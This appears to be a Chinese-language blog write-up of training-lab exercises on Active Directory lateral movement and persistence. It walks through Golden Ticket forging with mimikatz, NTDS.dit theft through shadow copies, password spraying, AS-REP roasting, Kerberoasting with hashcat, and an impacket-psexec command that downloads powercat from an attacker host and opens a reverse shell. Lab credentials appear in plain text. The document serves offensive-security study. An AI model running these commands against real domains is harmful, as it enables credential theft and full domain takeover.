Active Directory 中的橫向移動 - Persistence

 Active Directory 中的橫向移動 - Persistence

Golden Ticket

偽造金票透過濫用 krbtgt 帳號的 HASH 來實現

當使用者提交 TGT 請求時,KDC 使用只有網域中的 KDC 已知的金鑰對 TGT 進行加密。該金鑰實際上是名為 krbtgt的網域使用者帳戶的密碼雜湊。 如果我們能夠獲得krbtgt密碼哈希,我們就可以創建自己的自訂 TGT,也稱為金票。

儘管這種技術的名稱類似於我們在攻擊身份驗證模組中遇到的銀票,但金票提供了更強大的攻擊向量。銀票旨在偽造 TGS 票來存取特定服務,而金票則允許我們存取整個網域的資源

例如,我們可以建立一個 TGT,聲明非特權使用者實際上是 Domain Admins 群組的成員,而網域控制站將信任它,因為它已正確加密

一樣先 RDP 用 jen 登入 Client74,然後執行 PsExec64 去呼叫 DC1 的 cmd.exe

發現顯示沒有權限 Access is denied.



先用 jeffadmin 登入 DC1 開啟 mimikatz 輸入 debug mode,privilege::debug

再輸入 lsadump::lsa /patch,讓我們先獲取 krbtgt 的 NTLM HASH 以及 Domain SID 如下圖

SID : S-1-5-21-1987370270-658905905-1781884369

krbtgt HASH : 1693c6cefafffc7af11ef34d1c788f47




一旦獲取 krbtgt 帳戶的 NTLM 與網域的 SID 值後就可以偽造黃金票證

回到 Client74 啟動 mimikatz 工具輸入 kerberos::purge,目的是先刪除現有的 kerberos 票證





接著直接建立黃金票證,指令 kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt

可以看到直接把黃金票證給予使用者 jen,uid = 500

使用黃金票證時,Mimikatz 提供兩組預設值,使用者 ID 與群組 ID

預設使用者 ID 使用 500,這是網域中內建管理者的 RID




接著使用 misc::cmd 開啟一個新的 cmd.exe 視窗




在這個新的 cmd 中一樣再次輸入 PsExec64.exe \\DC1.corp.com cmd.exe

輸入 hostname 驗證已經在 DC1 中了,直接 type 拿 flag 吧



PS : 前提是要先獲得 krbtgt 的 NTLM HASH......

補充說明,在網域中要使用 kerberos 要用名稱

若上述的 PsExec64.exe 帶的不是 DC1.corp.com 而是 IP 192.168.200.70 則會使用 NTLM 驗證

將會顯示失敗,跳出在同一個視窗執行 IP 跟名稱驗證結果如下圖









Shadow Copies

Shadow Copy 又稱為 VSS 陰影複製是一種 Microsoft 的備份技術,目的是為了要提取 NTDS.dit 這個檔案,一旦獲取了網域資料庫檔案副本,我們就可以離線在 kali 上提取任意使用者憑證了

首先先以 jeffadmin 的權限登入到 DC1 然後執行 vshadow.exe -nw -p  C:

-nw : 禁用寫入程序; -p : 產生磁碟機上的副本

└─$ xfreerdp /u:jeffadmin /p:'BrouhahaTungPerorateBroom2023!' /d:corp.com /v:192.168.200.70 

要注意產生的檔案路徑 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2



將檔案複製到跟目錄下

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak

這裡特別注意要使用 cmd 不是 powershell,不然無法成功複製檔案




接著將 hklm\system COPY 出來,指令 reg.exe save hklm\system c:\system.bak

兩個檔案如下,將它們通通送到 kali





於 kali 上執行 impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

可以看到獲取 Administrator 的 NTLM HASH 了








練習 2 : 啟動 VM 群組 2 並嘗試執行 dcsync 技術並存取 dc1,以便取得位於管理員桌面上的標誌。為此,請以jeffadmin身份透過 RDP 登錄,並對網域管理員 使用者執行 dcsync 以取得其 NTLM 雜湊

Ans : jeffadmin RDP 登入 DC1 後直接在 Administrator 的桌面拿到 flag





練習 3 : VM 群組 3 啟動後,網域 corp.com已被修改。在 CLIENT74 上以leon 身份登錄,並使用本模組中討論的技術進行橫向移動並在 FILES04(73) 管理員桌面上獲取標誌

使用題目給的使用者憑證 leon / HomeTaping199! 登入 Client74

└─$ xfreerdp /u:leon /p:'HomeTaping199!' /d:corp.com /v:192.168.196.74

該帳號隸屬該台的 Administrators 群組


順便測試一下該組帳號密碼對其他機器的權限

└─$ crackmapexec smb 192.168.196.73 -u leon -p 'HomeTaping199!' -d corp.com

這麼剛好就對我們的目標機 files04(73) 有管理者權限




直接 RDP 進 files04(73) 開啟管理員桌面的檔案 proof.txt 拿 flag,真的垃圾題









練習 4 : VM 群組 4 啟動後,網域 corp.com 已被修改。以 leon 使用者身分登入 CLIENT76 並使用本模組中討論的技術進行橫向移動並取得 WEB04(72) 共用資料夾中的標誌

先用 └─$ crackmapexec smb 192.168.196.76 -u leon -p 'HomeTaping199!' -d corp.com

指令新應用,同一組帳號一次掃 192.168.196.70~76,└─$ crackmapexec smb 192.168.196.70-76 -u leon -p 'HomeTaping199!' -d corp.com --continue-on-success

帳號被 Locked......GG


因為一開始打錯密碼,將 LAB 重開後再測試一次發現僅對 Client76 有管理者權限




RDP 進 Client 76 吧

└─$ xfreerdp /u:leon /p:'HomeTaping199!' /d:corp.com /v:192.168.196.76

利用所學開始一一列舉,net user leon /domain 發現這個帳號號僅是一般 domain User



下一步 AS-REP Roasting,執行指令

impacket-GetNPUsers -dc-ip 192.168.196.70  -request -outputfile hashes.asreproast corp.com/leon

獲得 dave 帳號 "不需要啟用 Kerberos 預先驗證"



破解 HASH,指令 sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
解出答案 Flowers1




換測試 dave 看對哪台機器有權限

└─$ crackmapexec smb 192.168.196.70-76 -u dave -p 'Flowers1' -d corp.com --continue-on-success

dave 對 Client74、Client75 有權限




下一步 Kerberoasting 發現 iis_service




破解看看,sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force,獲得密碼 Strawberry1





setspn -L iis_service 看一下,這個帳號對 web04(72) 有權限




那就 └─$ impacket-psexec corp.com/iis_service:Strawberry1@192.168.196.72 whoami

測試一下發現是 nt authority\system 管理者權限




改執行下載 payload powercat.ps1 然後遠端過來的 reverse shell 指令

└─$ impacket-psexec corp.com/iis_service:Strawberry1@192.168.196.72 "powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.200/powercat.ps1');powercat -c 192.168.45.200 -p 4444 -e powershell"

進來了,順便 net share 看一下




答案在 backup 資料夾中






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)